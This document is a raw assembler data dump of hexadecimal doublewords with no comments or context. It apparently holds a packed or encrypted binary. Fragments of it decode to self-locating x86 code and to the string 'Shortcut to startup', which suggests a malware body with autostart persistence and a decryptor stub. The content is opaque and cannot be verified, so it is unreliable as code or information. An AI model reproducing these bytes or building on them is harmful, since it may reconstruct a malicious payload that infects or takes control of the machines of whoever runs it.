0D08D3434h, 0A45580C7h, 3BA3BF38h, 52596334h, 71D83434h dd 0D833F76Bh, 0D0321048h, 451F1070h, 168D3434h, 3737F763h dd 0DC6AECB8h, 57F52E8Dh, 0DC515454h, 57283F01h, 5DEB552h dd 0F97A55A4h, 8F093B30h, 0DAC63437h, 156FA9A1h, 180CB732h dd 51DE7005h, 5175B03Bh, 97DF3434h, 0D81B3437h, 15AD7DB1h dd 51CFDD32h, 3DE13434h, 0A88D7253h, 0EFD6331Ah, 536C1334h dd 7107A907h, 45F33270h, 8F8D3434h, 44857745h, 7FFC858Fh dd 732EE139h, 0EC2B73BEh, 0D0359938h, 5A9CD8C3h, 0D4966D10h dd 57CA5DF6h, 36F0188Fh, 0A9B3CB16h, 0D5BEF4B1h, 51D8353Fh dd 0B939345Eh, 51363437h, 0CD86914h, 55A958BDh, 55E270B5h dd 5163342Ch, 52726171h, 2DF94AADh, 516ABD3Bh, 3563434h dd 307A546Dh, 37DA0CB5h, 0D4C9CFB5h, 51633470h, 4BDCA9BDh dd 5B313270h, 376C3434h, 66F077AAh, 0EAB95531h, 290C52A0h dd 5EC43630h, 51600EB0h, 2B15E34h, 51D837DCh, 92371434h dd 756ABD6Fh, 755FB530h, 518D2D30h, 92957734h, 52F0147Fh dd 823AD8F8h, 0CDE0B552h, 0D5E93B54h, 3B363434h, 52F36734h dd 718D3434h, 0D89DF76Fh, 0D0671068h, 4CB51070h, 12D83434h dd 0F551F767h, 0F4ED99D2h, 30501E7Fh, 4F4CB9BFh, 0D0A03270h dd 0D13A25D3h, 5E59364Ch, 51D87EB1h, 36C5E34h, 513637DCh dd 92411434h, 75D9BD6Eh, 7582B530h, 51632130h, 92E37634h dd 9458EBE0h, 0B4D1BDE3h, 3130701Ch, 71F1B552h, 0D0EB5569h dd 0FAC6324Ch, 5172B13Bh, 0D9BE3434h, 51D83434h, 516EBADDh dd 44BB1D34h, 0EF1D7016h, 178C3534h, 476FB9BFh, 0EC523270h dd 57F53E45h, 381AB1B9h, 5E3A3273h, 513632BAh, 58AE1D34h dd 0A8B701Bh, 51ACE4CBh, 5160DC62h, 0F913434h, 25516AF7h dd 15ED3010h, 51233010h, 75D3434h, 3702DEF7h, 0D88D518Bh dd 15737189h, 5E71B132h, 51DA24B0h, 70D1BF34h, 0D0307030h dd 5326520Ch, 19083B36h, 3BC63434h, 528B6434h, 71B13434h dd 0D880F76Ch, 0D0681070h, 48321070h, 111B3434h, 774EF764h dd 72CEC801h, 0D0D1F6B4h, 6CD7324Ch, 0D5D74E6Bh, 516C35DBh dd 513626DDh, 0C2CF0934h, 0E682A543h, 6BEF7461h, 766AB62Fh dd 37E51A80h, 31440CB5h, 51E0B13Bh, 515C3434h, 5118DC62h dd 0FAD3434h, 254F6AF7h, 15E23010h, 51A43010h, 79E3434h dd 622220F7h, 1523BDB9h, 5363B432h, 0E083BDCh, 3BC63434h dd 528B6434h, 71B13434h, 0D880F76Ch, 0D0681070h, 46321070h dd 111B3434h, 0BD02F764h, 0ECCF6638h, 57273401h, 57C9B552h dd 0D4D7F434h, 516C341Ah, 0B965345Eh, 511B3437h, 0A4E6F14h dd 55E268BDh, 554770B5h, 51B13422h, 4B1B6777h, 0D45D72EAh dd 57721885h, 511A72DDh, 0BA0C5234h, 51788AC3h, 5E1D3535h dd 0D43CE38Bh, 579F5DF6h, 0B93A345Eh, 51363437h, 0FD86A14h dd 55A940BDh, 55E270B5h, 51633422h, 0A2726272h, 812785A2h dd 783EFABFh, 152F0DA1h, 919E6F32h, 5152B03Bh, 51AC3434h dd 5160DC66h, 0B913434h, 5516EF7h, 15ED3010h, 51223010h dd 3593434h, 0B90759F7h, 5E2E0CB4h, 516367B1h, 0B15E34h dd 51D837DCh, 92351434h, 757ABD6Dh, 755FB530h, 518D2330h dd 92977534h, 0D4B11873h, 0E863D5B4h, 6D0496B7h, 22694CB4h dd 5114B13Bh, 0E87D3434h, 0C4BE3FB6h, 578237F1h, 2644CB4h dd 5124B03Bh, 0D7D73434h, 516C343Ch, 51B23B65h, 0E1B3434h dd 0DEB5B552h, 0B433B31h, 37633434h, 0D11DDC8Eh, 5EB0324Ch dd 516C78B1h, 37E9BF34h, 0AE104CB5h, 6F083B11h, 3BC63434h dd 528B6334h, 71B13434h, 0D887F76Bh, 0D0681048h, 44321070h dd 161B3434h, 1886F763h, 51C625DDh, 0C763E034h, 0CE1413C4h dd 3F816EC6h, 0AD354C0Bh, 79DF03F8h, 501B3434h, 158335A9h dd 51C68C32h, 568A3434h, 0E5B13434h, 9A87D7BFh, 4F858861h dd 5A363434h, 151615A1h, 3C180732h, 0E9C07028h, 51633435h dd 51B3BF3Bh, 9E533434h, 69A6B552h, 5BDE642Dh, 0AA1B3434h dd 0D9D560BAh, 0A258E26Ah, 0CEDA527Eh, 55386DF2h, 0A7675210h dd 0A9D1B94Ch, 0DC307D75h, 185C1FB9h, 4AE8C32h, 0D4C54352h dd 57272E39h, 5178FB1Fh, 5E1D3535h, 0D43CE38Bh, 579F5DF6h dd 0B93A345Eh, 51363437h, 0FD86A14h, 5E983BDh, 0F58A4F3h dd 68Fh, 19958900h, 66064404h, 850FD98Bh, 6, 31A58D8Bh dd 0C00B0644h, 71840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 10CB5CC3h, 0B2DB8166h dd 55B58D64h, 2906444Eh, 442CD5B5h, 3B806h, 850F0000h dd 10h, 0BE9h, 0A9519000h, 0B746C0AAh, 2B902052h, 6AE6FFh dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 8D3DACC3h, 759D0193h, 40064425h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 0FC35040h, 0BE9h, 88794100h dd 41ECB229h, 84922217h, 0A0DFB8B9h, 6AC08B69h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 89F1C356h, 440A8DB5h, 0A9BA6606h, 0CDBD83BFh, 64420h dd 0BD830975h, 6440B25h, 50197400h, 0B8C08B53h, 403h, 22298589h dd 9D8D0644h, 646A8B6h, 585BD3FFh, 0B25BD83h, 74000644h dd 0B8535017h, 403h, 22298589h, 9D8D0644h, 646A557h, 585BD3FFh dd 8D896060h, 6441D79h, 31D9958Bh, 0E8610644h, 7, 777C2BD2h dd 0E8481050h dd 13h, 0DC99C157h, 461A3EF8h, 0AF032449h, 0E0A3CDEAh dd 5E0358B5h, 8B666159h, 2CBA66D9h, 0FC08B10h, 8D61C8BFh dd 4949788Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 5D8D89CBh, 6A06442Fh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0B7E9C350h dd 4B271FFh, 3C56CD6Fh, 0C7F1BF0Fh, 44067985h, 5FD806h dd 81B52900h, 0C7064408h, 44107185h, 6, 22DE8100h, 0FF5CFFC4h dd 441099B5h, 0FD78B06h, 682h, 5952300h, 0FF06441Ch, 440BF995h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 0F9B52919h, 6A06442Eh, 4D95FF00h, 8B06441Ch dd 974EEBC0h, 0D61584AEh, 3943875Bh, 75F29051h, 556B6289h dd 0D90D6A5Ch, 26999BE9h, 5BC075B3h, 0A8F78D59h, 1FA71312h dd 4377E5B7h, 98D8EB29h, 0D12B9D27h, 6D87557Ch, 6EC09D9h dd 3C74251Ch, 629BBC07h, 0F2415h, 0B52832BBh, 65BE710h dd 0AF8D8D41h, 0F506494Ah, 2F5D8D89h, 85890644h, 6442129h dd 65858B60h, 8106441Dh, 73D6F7E1h, 85C76117h, 6440679h dd 6B40h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 18C35141h, 0ED122A00h, 8BE55827h, 44174985h, 7185C706h dd 64410h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 0A072C357h, 95B58982h, 0FF064402h dd 441EB9B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 3EA8132Dh, 0F995FFCAh, 6A06440Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 0B1EEC350h, 61C56554h, 7E922E2h, 0E2000000h dd 0BD2F8365h, 6A6E90h, 1C4D95FFh, 0C08B0644h, 4EE76DEBh dd 3C17CB31h, 6CFB93D8h, 4D49D10Eh, 343BD9CFh, 22C41443h dd 607929F1h, 25DB2D18h, 0D8540E19h, 0C09B2ABBh, 3A1A7A01h dd 58F508EEh, 98115843h, 9940E536h, 0DDEA9F4Dh, 0D52A9569h dd 7BE5B396h, 0E4DE88D8h, 98FECE0h, 3717FC8Ah, 358DD79Ch dd 81403D91h, 853D7404h, 5A21B460h, 0CCC3EDF6h, 0F7ACA12Ch dd 288310D1h, 0E8917B3Ch, 10h, 0A4840F68h, 449DD6CFh, 3005241Bh dd 9AD6F2E3h, 6659DF8Bh, 0EDB8CE81h, 6A7AC181h, 860F0000h dd 5, 963C52BBh, 6872h, 95230000h, 64402BDh, 9E85Fh, 14430000h dd 29F122C4h, 52186079h, 48B5A5Ah, 0EDB58B39h, 81064408h dd 0E78F01C0h, 55958B00h, 81064407h, 0E4CB57E8h, 0B59D8942h dd 8106442Ch, 0B9548AF0h, 41958B70h, 89064415h, 0B70F3904h dd 4EF83DBh, 9B1B589h, 0FF810644h, 0FFFF9654h, 18850Fh dd 0BD890000h, 6443195h, 39E9h, 0A7860B00h, 515CCA18h dd 85089EDDh, 0EE8534Dh, 7A000000h, 0D3C22402h, 2A0018DDh dd 5827ED12h, 70F681E5h, 5B29B3A4h, 0FFFF81E9h, 0EB6A2AFFh dd 66B13023h, 812ECB22h, 9D8D4FEAh, 64410A9h, 39B8h, 29858900h dd 0E806442Ah, 0 dd 0D0558h, 3890000h, 39E9h, 0E6000000h, 0Dh dup(0E6000077h) dd 6CEBFF77h, 726F6853h, 74756374h, 206F7420h, 72617473h dd 707574h, 14h dup(0) dd 77334C1h, 1, 107CE9h, 4E9E6800h, 9DE90649h, 68FFFBFBh dd 6494FB3h, 0FBFB93E9h, 51A168FFh, 89E90649h, 68FFFBFBh dd 64951E0h, 0FBFB7FE9h, 52C268FFh, 75E90649h, 68FFFBFBh dd 6495393h, 0FBFB6BE9h, 57DD68FFh, 61E90649h, 68FFFBFBh dd 6495AD8h, 0FBFB57E9h, 5BA968FFh, 4DE90649h, 73FFFBFBh dd 0AE8DE8CFh, 70533611h, 0AB88EDCAh, 71523710h, 9A8EEBCCh dd 2502BFDEh, 0FADD6340h, 2205BC9Fh, 0FBDC6447h, 0D87C1F9Eh dd 31628E6Eh, 6650651h, 628E14A2h, 0E2652B31h, 366C516Dh dd 0CB7251CDh, 52DE59ECh, 8DAECDEAh, 9CA71235h, 452007BFh dd 0F14CAC6Fh, 1271EDD6h, 2BC300B6h, 37AB3737h, 0A08FF054h dd 125C3DE7h, 6BCF0CCFh, 316F46DDh, 45307EE2h, 61C5A6C3h dd 316F84D7h, 4CC174E8h, 0E54FEBD0h, 0F316F84h, 0D7F46EAEh dd 0CBFA4F68h, 77F29FA4h, 5997E7A9h, 0E6668508h, 4F1153h dd 11720000h, 6FF703B5h, 1DA83431h, 435C129Ah, 652EEEF4h dd 0C137D33h, 5F261EA0h, 5C19C0EAh, 664C9B3Fh, 6FF33DE7h dd 64912F0Ch, 0BD55B3DEh, 8D38A4D1h, 3AB812B6h, 0F352316Fh dd 0B7D59BCBh, 74ED4CB5h, 0DBF2C376h, 0B177F2E3h, 0DDh dd 0CDEA5236h, 4F68D5F6h, 0C8EF5774h, 0FABC8ABh, 372BC3B9h dd 0F046E27Eh, 0C7372BC3h, 0F6D5EE5Bh, 6F0C694Eh, 0EAD1F64Ch dd 1E67C376h, 0B7372BCCh, 6E4D280Fh, 0E0CAF1D6h, 7C1F7C39h dd 0FBC0E75Fh, 0D176D267h, 0EE3DE7CAh, 54EE76CDh, 48D44873h dd 89EC70FDh, 5C3FF8A3h, 0A12D01F8h, 0DBB8243Bh, 0C97FDBB8h dd 0EE3BA16Dh, 59E4C772h, 85381B7Eh, 6D4FF95Dh, 3E703BA1h dd 8266484Bh, 0EF73EF3Ch, 6E5F397Dh, 1C99A25Dh, 0DE8h dd 325770CCh, 0EC89AE11h, 375275CFh, 0ED88AF14h, 315473CEh dd 0B9047525h, 66D8FB9Eh, 0BE072441h, 67DFFC99h, 0C7A42540h dd 628DD563h, 3ABDEA31h, 0ABC8EF52h, 0DEAC86C8h, 7759EAE7h dd 2BB365D3h, 88C65A37h, 3BCC618Dh, 0F491242Eh, 2D486FD7h dd 0C7A05BAAh, 0D563C7A4h, 0EA372BC3h, 0E96C3876h, 12290F4Fh dd 0B760C4A7h, 0CA3DE7D3h, 63C96D56h, 89316FB3h, 0EE76C9EAh dd 0A0EE7255h, 66A8D5F9h, 9332875Dh, 61D8FB6Bh, 0ABC2F346h dd 8177F2BEh, 0D0h, 89311206h, 80381BAEh, 2BF9CA7h, 81254625h dd 372BC337h, 1A219408h, 0C0E75A79h, 0FF4467FBh, 0B0C96DD8h dd 0D5372BCCh, 0A711B56Dh, 98372BC6h, 0DEFD9804h, 507A4166h dd 0E1AFCCA9h, 0A10D089Eh, 0D6B500B7h, 0E7FCD572h, 73C9EA3Dh dd 497255EBh, 370749D5h, 0DB396835h, 8E129F2Ah, 5D1AC1EBh dd 81A61D3Eh, 1BF35734h, 3C3BA1C3h, 5DE0C3A0h, 813C1F7Ah dd 9D6634A6h, 0A8935D6Fh, 0CD32Dh, 7A5DE100h, 0A4833C1Fh dd 7F58E2C1h, 0A582391Ah, 795EE3C0h, 2950081Ch, 0F5D6B394h dd 2A096C4Bh, 0F2D1B493h, 89086D4Ah, 8CF84EEAh, 0E8BF3162h dd 0C8EF526Fh, 143388ABh, 6306B32Fh, 0BADFF840h, 6641FAD9h dd 6A2C15Dh, 372BC3B0h, 29AE1B87h, 0C972EA52h, 2A4972EEh dd 9729B109h, 0BA992CB0h, 6A402502h, 3195F6AFh, 3DE7AF1Ah dd 0A1C2A13Dh, 0E0D066C2h, 7BE7316Fh, 6FE069DFh, 67D24E31h dd 0FA713F5Ch, 0BA9D243Bh, 41FE20F4h, 4BFA50F4h, 0B110316Fh dd 4CF6D58Dh, 79CC506Bh, 0F2632548h, 0E0B77h, 4B680000h dd 72EED5F2h, 3FF440C7h, 73000009h, 0AC8B3112h, 0AF883319h dd 328CAFCCh, 7B22E15h, 0E7B4B0A3h, 605BC73Dh, 0DC63FB43h dd 270467FBh, 53E54199h, 64316FCEh, 0B4D164F8h, 8B72F97h dd 930F2890h, 13280FB0h, 5370138Fh, 0B8F6CDEAh, 61309881h dd 0AB1E821Dh, 3BE83490h, 0F75698A3h, 4067DFC7h, 26BE0625h dd 1B20BC9Bh, 0A37B14BFh, 279D5Ah, 57A2183Bh, 3DC8D137h dd 89B22E6Ah, 6A1C40E1h, 4A68F4D3h, 90B3B3EBh, 0A8340F28h dd 5E863E1Dh, 0A3D74CFAh, 0F03D735Ah, 1928C377h, 52F69509h dd 5AA370E4h, 0BEDB47DBh, 3902259Dh, 0A370329Dh, 2D51F05Ah dd 8FA81635h, 0BE9D28B4h, 67442106h, 3CA42ADFh, 0FA519717h dd 0C4775D66h, 13AB88EBh, 46E28134h, 506FDB91h, 3A593CA0h dd 2C54A119h, 0EFB1C79Dh, 8B172CB0h, 843116A8h, 9A41412Ch dd 891ABEDDh, 0A84E2B74h, 0BC19BD34h, 496F0A5Dh, 4C22D76Ah dd 3FD67FC1h, 88A2178Bh, 0D37714D1h, 65C684A0h, 1A300B97h dd 41E5865Fh, 63811418h, 0FFDCBF23h, 66056047h, 80584B05h dd 0BCD34D1Bh, 879EAE18h, 0B80D9153h, 9604239Bh, 354854FEh dd 0E555D0EBh, 0F300000Ah, 2E0D684Fh, 0F0D3B691h, 2B086D4Ah dd 0F1D2B790h, 1A0E6B4Ch, 0A5823F5Eh, 7A5DE3C0h, 0A2853C1Fh dd 7B5CE4C7h, 58FC9F1Eh, 316292EEh, 520186D1h, 795FCDEAh dd 0AE51E409h, 0AA61095h, 0EB20000h, 0D06F4C29h, 0BB192F7h dd 0D16A492Ch, 0DB093F6h, 9F5B4F2Ah, 81E4C37Eh, 5E3B1CA2h dd 86E3C47Dh, 5F3A1DA5h, 0AF19BDDEh, 90316292h, 0EA5240C7h dd 0AECDAECDh, 2BC3BC0Ah, 0BB1F8337h, 372BC30Dh, 43F55132h dd 74372BC3h, 0FAC174E8h, 264364D9h, 38E3E38Eh, 2BB81C7Fh dd 4E3DE7CEh, 4EB11B00h, 0EB8E70C3h, 0A5BBA618h, 0AD24B824h dd 2A157E09h, 0FAB3667Fh, 3D99FA99h, 0FF2A058Bh, 129FB802h dd 0EC9F3B8Eh, 4BF5E609h, 69F5D268h, 7BCD690Ah, 3CF96E09h dd 42E15A0h, 98FB9855h, 9E95FFBh, 52CEF96Eh, 911A43E7h dd 0D0F3F3A1h, 0EF73486Fh, 284BD75Ah, 3A8C284Bh, 0FDE3A682h dd 0DDFA4261h, 0ECCF7AE6h, 75167354h, 8104B216h, 0A73BE3A6h dd 0AE893112h, 694B003Ch, 782B985h, 9C4h, 6E0B2C90h, 0B0D5F24Dh dd 6B0E2993h, 0B1D4F348h, 6D082F92h, 0E558C179h, 3A84A7C2h dd 0E25B781Dh, 3B83A0C5h, 9BF8791Ch, 6291893Fh, 7EF9AE31h dd 0F6CDEA52h, 2C0BB695h, 1D3E8B17h, 85E683A4h, 0C3F442E6h dd 8125372Bh, 372BC337h, 85199408h, 0C3F442E6h, 57CB372Bh dd 0C05046E2h, 0EA89372Bh, 2BC3F84Eh, 9623BF37h, 209FFDBCh dd 9BF89B07h, 2BC3893Fh, 8732AE37h, 744040E4h, 0E77B3DE2h dd 0D2A9E784h, 5F6CC111h, 0E35B78CDh, 50161D16h, 3FA37AC2h dd 0E6C1795Ah, 0F442E685h, 653162F3h, 58C4FFD8h, 28EB9BD5h dd 8CA8138Ch, 0BD9EA510h, 5229800h, 53EA23Eh, 17A10566h dd 28316226h, 9B2201B4h, 0EC642EBCh, 0BA8157ADh, 8F33Fh dd 5A7DC100h, 84A31C3Fh, 5F78C2E1h, 85A2193Ah, 597EC3E0h dd 970283Ch, 0D5F693B4h, 0A294C6Bh, 0D2F194B3h, 0A9284D6Ah dd 90D86ECAh, 88DF3162h, 0CDEA520Fh, 4A6DD5F6h, 0CCEB5271h dd 0F46CD4F7h, 0CCF76B4Ch, 2E7552EFh, 0B3174F8Fh, 372BC305h dd 183AA63Ah, 259D85B9h, 0A6026102h, 372BC310h, 99143389h dd 0E4D5B005h, 7E36EAC9h, 5A1A7h, 0A05B2000h, 0A4C7h, 3B3DE274h dd 5FE7C4A7h, 81371D78h, 0C83195AEh, 0BEB6F61Bh, 1A35DF1Fh dd 57FE812Fh, 0E10DD219h, 0D86D200Ch, 3A9Ah, 9D5B1D00h dd 0E9CAA9CAh, 0D14D7651h, 0C376C064h, 6A49372Bh, 5368F4D3h dd 0C46101F7h, 225AFBD7h, 9FB80320h, 84F41B2Ah, 0C585DCFh dd 3B000000h, 3184A318h, 29DF4B6h, 5B730000h, 0E7C078A0h dd 605B7CC4h, 0A70360FCh, 3DE274CFh, 0F497F468h, 628EE650h dd 0F045D931h, 8EC46FCBh, 0F34D3162h, 71CCEFD4h, 0E9486D56h dd 0EDD6A0B5h, 0CEAD67C5h, 4C026152h, 0D657BD9Ch, 0AF0EBB6Ah dd 22FBBE6Fh, 0FED96241h, 684B284Bh dd 1BAD09D1h, 1C3162BFh, 0DA91C80h, 3BAB0865h, 0B701A5C6h dd 883BB90Ah, 0CEED8814h, 0C6F5473h, 7AF5C742h, 0D267CB02h dd 506B4CF1h, 9D85B918h, 2601B820h, 42FCDFBAh, 1E3D5E65h dd 173481A6h, 0FDB58EA9h, 526205Ch, 80A398BFh, 3085193Eh dd 0A158AD13h, 0B2F45047h, 8ACC955h, 3BB99CC4h, 35F7CF81h dd 695EF8B8h, 6146FFDCh, 0B89F2704h, 9D5B0483h, 0BF9CFFCAh dd 861A2106h, 8C391EA5h, 553611AFh, 0C3249236h, 871B372Bh dd 2698BB32h, 8E9C3401h, 182304BFh, 9AA1863Bh, 24DE1EBFh dd 1C80BB9Ch, 89B51480h, 6443FAD9h, 4776C35Fh, 7E36EB28h dd 43104h, 0FB446700h, 77E33C0Eh, 138F7CE2h, 59EF4B28h dd 5E372BC5h, 0D2105EC2h, 31E0E198h, 52B33481h, 0F89A1AEFh dd 6EC7F7DDh, 56F291F2h, 372B01E0h, 12B9D39h, 900C372Bh dd 0F34811Dh, 61C07AA7h, 0C266053Dh, 372B0174h, 4162D74Bh dd 0DD4B09FCh, 6DC45108h, 0F36FF3D4h, 2F08B596h, 0BE1A791Ah dd 372B0508h, 5D365C1h, 78E4372Bh, 0FFDC69F5h, 4A536641h dd 4EF3B3EBh, 93290A69h, 0AB8801B4h, 0AB0F3413h, 372B0500h dd 2043899h, 9BF89DBAh, 5EA5CF8h, 51CD372Bh, 597EC7E4h dd 56DC662h, 3A9B372Bh, 9EB90002h, 727D5FFBh, 49F4372Bh dd 0D74B6CD1h, 8FEC70ECh, 11FE48ECh, 5DC1372Bh, 212A8E13h dd 1FAAAD4Bh, 3668002Eh, 0FEE86E7Eh, 52E9FFFFh, 8BA8CDEAh dd 54771433h, 0D5F6CDEAh, 98D64A6Dh, 74E05DD1h, 7B40F585h dd 0A6813B18h, 9B22019Dh, 0AE1B87BCh, 2BC7A10Ah, 5F9F3E37h dd 5D381FA7h, 0BF1BC37Eh, 372BC709h, 4D2EB22Eh, 0C73C8A2Eh dd 9F03372Bh, 0AAB5112Ah, 67B825h, 78977DA1h, 0F5ADC344h dd 0F886B7BBh, 3A8FDADEh, 6278h, 0A05BFF00h, 6800A4C7h dd 3D3DE274h, 8E4CFA5Eh, 0EF733162h, 704BD75Ah, 628E63D4h dd 9BF89B31h, 628E893Fh, 348DAE31h, 9B3A8F13h, 939EB163h dd 26F277EDh, 91000000h, 8CE056F2h, 4BD73162h, 53D579FEh dd 95372BB6h, 0FFFD7A10h, 10F497FFh, 97000000h, 0ADAA0ED9h dd 41F4196Dh, 29CF4C6h, 52730000h, 0D5F6CDEAh, 52F4A6Dh dd 5EFA9956h, 3DE7A021h, 9F298DEEh, 0A0316FE3h, 9804893Ch dd 7A3C0A3h, 316FE3B1h, 0BAF1A86h, 316FE3A1h, 0E2B2EA4Bh dd 77F2C6CBh, 0F147E380h, 0C6316FEBh, 36ADEF5Ah, 2A000000h dd 0A4C7A05Bh, 785FE4C7h, 0CE6ADF43h, 3DE7B619h, 1BBF8418h dd 316FC8B1h, 9DA68138h, 1F2403BEh, 0DCC6F657h, 9FDF4364h dd 0F716FE3Eh, 5577F2DFh, 0B0h, 0CDEA52D2h, 4F68D5F6h dd 0C8EF5774h, 4F68D0F3h, 8E2A492Ah, 372BC338h, 0FA4063FFh dd 0B5CC68DDh, 0DE372BCDh, 0E244166h, 92F1924Bh, 4C2F08B1h dd 2BC55EE8h, 48FD6137h, 0E52B82ECh, 5A39A53Dh, 86E3C479h dd 64C018A5h, 316D6FD2h, 77E579E5h, 57A2A4F7h, 0A95ADFE4h dd 8F000004h, 52711433h, 8CAFCAEDh, 57741136h, 8DAECBECh dd 66721730h, 0D1F64BB2h, 0E2997B4h, 0D6F1486Bh, 0F2890B3h dd 2C88EB6Ah, 3162949Ah, 524DCA9Dh, 8EADC8EFh, 17741136h dd 0F0548C34h, 372BC346h, 4279E579h, 0C3338521h, 9804372Bh dd 0B89F2704h, 2DAA1F83h, 63D57112h, 97372BC3h, 0DDFA06C9h dd 930F82CEh, 9ABD0526h, 0E23A82A1h, 2B98F046h, 0C75BC737h dd 0ABD188A2h, 14338E16h, 0D3771488h, 3DE7FB04h, 0E7C4A73Bh dd 0E407B5Ch, 0B07B1F38h, 2E4DD1EAh, 6F733C8Ah, 2A9F0331h dd 7301B511h, 3495316Fh, 0C47D5E08h, 0BD7C56E3h, 6E12E75Fh dd 4BB4014Dh, 5635A935h, 0A3FE25F2h, 7DD9BA3Bh, 3BA3BCCBh dd 48C570ECh, 5AEC482Bh, 5D3BA3BCh, 0BCD365C1h, 78E43BA3h dd 0ECC987E4h, 1812AF04h, 0B59FFA4Fh, 0C472D606h, 0FB3BA3B1h dd 3C98FB67h, 316A063Ch, 2E983C5Fh, 1125FA7Dh, 5172118Dh dd 0EBCC73EBh, 0AB61277h, 8325FA7Dh, 0FD781D3Ah, 6Ch, 0C37FD57Ah dd 3BFF372Bh, 9E200360h, 0A690CB9h, 0C37BCD69h, 0A03C372Bh dd 0C3D167C3h, 7AE6372Bh, 0CE56ECCFh, 9A128075h, 39AA3841h dd 2598EBA5h, 9BF1261Bh, 2E983C07h, 0C7372B78h, 0F64C3666h dd 2E97B4D1h, 78E452F6h, 47DB372Bh, 0EF44E0DBh, 15372B78h dd 90DE88B4h, 240A5477h, 133085ACh, 60D672AAh, 57372BA5h dd 0B53257CBh, 9733EB52h, 372BC321h, 2D168A16h, 0A642B70Eh dd 1C515901h, 0ACCFAC30h, 2B65BE08h, 0A81D8137h, 0EC10B193h dd 0C1A4833Ah, 0D365C1A2h, 0E4372B65h, 0C25E79C7h, 19E3D377h dd 0F4C5372Bh, 7E362CDAh, 0FFFF50B4h, 0EA5233FFh, 71EDCA72h dd 0B10A294Ah, 0B6E3AD96h, 5743696Fh, 280BBE22h, 0F8D2B790h dd 0A3076441h, 3DE781DCh, 0FC4AEE8Dh, 0C3316F81h, 2967EA5Fh dd 2BBC48FFh, 0F3C854DBh, 6F14FD57h, 0ECCB7431h, 6B4CF4D7h dd 0A8D47550h, 7CA00141h, 0F20F7598h, 42DB77h, 5B5C0000h dd 0A4C7A0h, 3DE7B6D7h, 0F695F66Ah, 6FC8E452h, 1CB8DB31h dd 316FC8AAh, 388D118Dh, 0C80DA703h, 46E7316Fh, 0B40F2C16h dd 8134A893h, 0F2DF9DB0h, 0E1F377h, 0DE900000h, 68E91246h dd 0CB4CF9C6h, 0AECDEA52h, 2F14338Dh, 1E3D06B3h, 9CBF84A3h dd 1B380324h, 45E184A3h, 372BCC3Ch, 0ABCEE951h, 52C53088h dd 6F440130h, 280239A5h, 93B40B71h, 0CBA834A8h, 0E7BABC6Fh dd 4427BB3Dh, 0DCFFD867h, 94F14463h, 4122FBBEh, 0A11585E5h dd 9F3B583Bh, 3BA12529h, 25F244E0h, 59C53BA1h, 70FD48D4h dd 700E3D3Eh, 0C25E363Dh, 1E00EFA1h, 752F42B3h, 317FCB16h dd 902528C4h, 0B56DD0F3h, 0AD092E96h, 3BA1221Bh, 19CE801Ch dd 80ACD4A3h, 4F6C0995h, 0D947D5F2h, 0CE5D6E1Dh, 1AE70F5h dd 368A0000h, 0E8577411h, 3389AACFh, 0E9527114h, 3588ABCEh dd 0B7637712h, 0B9DCFB46h, 6603249Ah, 0BEDBFC45h, 6702259Dh dd 972185E6h, 0A8316299h, 0EF5278FFh, 368EADC8h, 5BF37411h dd 2A9C38A0h, 0D372BC3h, 8AB1962Eh, 75168A16h, 0E7B606D1h dd 9EA5393Dh, 6FC8903Ah, 0A3DB7A31h, 0F2DFDEF1h, 0C9B277h dd 52350000h, 209632EAh, 17372BC3h, 5774178Bh, 69F5CEE9h dd 0E8D3F44Ah, 0D9FAC174h, 0B643FC64h, 3EEFDAD4h, 84BF2367h dd 0DCBF8418h, 0D46146FFh, 2BAF0970h, 1D3A8237h, 0C4E35B78h dd 4926D5FFh, 0C65D8E2Ah, 9AD43DE7h, 6442A32Fh, 3C59C5DDh dd 0E98A6316h, 0A1824C4Dh, 90F36F3Bh, 4C290EB3h, 67F5D26Fh dd 5D6F5CF3h, 0DDA62318h, 0FB000000h, 26056047h, 0F8DBBE99h dd 23006542h, 0F9DABF98h, 12066344h, 0AD8A3766h, 7255EBC8h dd 0AA8D3417h, 7354ECCFh, 50F49716h, 316298E6h, 52098ED9h dd 0CEADC8EFh, 9D5A0180h, 2B138F39h, 622CB037h, 942AF6D4h dd 0B99A2FB3h, 26452601h, 2B5F3482h, 0B4970B37h, 8F13280Fh dd 52D85F3Ah, 0D5F6CDEAh, 52F4A6Dh, 5EFA9956h, 3DE27432h dd 0C9EA8915h, 7552E870h, 44675CE9h, 0DDBEDBFCh, 596245FEh dd 35307A17h, 0A03C4CD5h, 168E3615h, 761589AEh, 0F407B115h dd 0A4383162h, 398E2A11h, 3D3EB85Fh, 1EA6609Ch, 0C77F5C39h dd 43F8DBE0h, 0A5045F64h, 0A9318979h, 0CEAB3710h, 497255EDh dd 91B6092Ah, 71BAE4AAh, 0B78AB669h, 0D1B9E2Bh, 78000000h dd 0B309BF1Bh, 0B22E30A8h, 60E78007h, 0F2C9EE52h, 754E69D1h dd 0F3C8EF56h, 72496ED0h, 0F0CBEC51h, 72496ED3h, 0F6CDEA51h dd 73486FD5h, 0F3C8EF50h, 4EC8370h, 89241C89h, 4C381E3h dd 83000000h dd 1C8704EBh, 21685C24h, 89000032h, 0EC81243Ch, 4, 50243489h dd 0F559D668h, 0BE565810h, 1CA64561h, 0F681DEF7h, 0B9529D2Bh dd 355EF029h, 56A64905h, 32E062Dh, 58C789DAh, 24348B54h dd 4C481h, 89500000h, 468F50F8h, 348B5808h, 0E2895224h dd 4C281h, 0C2810000h, 4, 5C241487h, 53243C8Bh, 0C381E389h dd 4, 4C381h, 1C870000h, 35E95C24h, 74FFFBEBh, 0A82DFF03h dd 654B8E88h, 5CABB892h, 0C5030649h, 5CA4E0FFh, 0FB5E6A79h dd 99A7200h, 0D2152BACh, 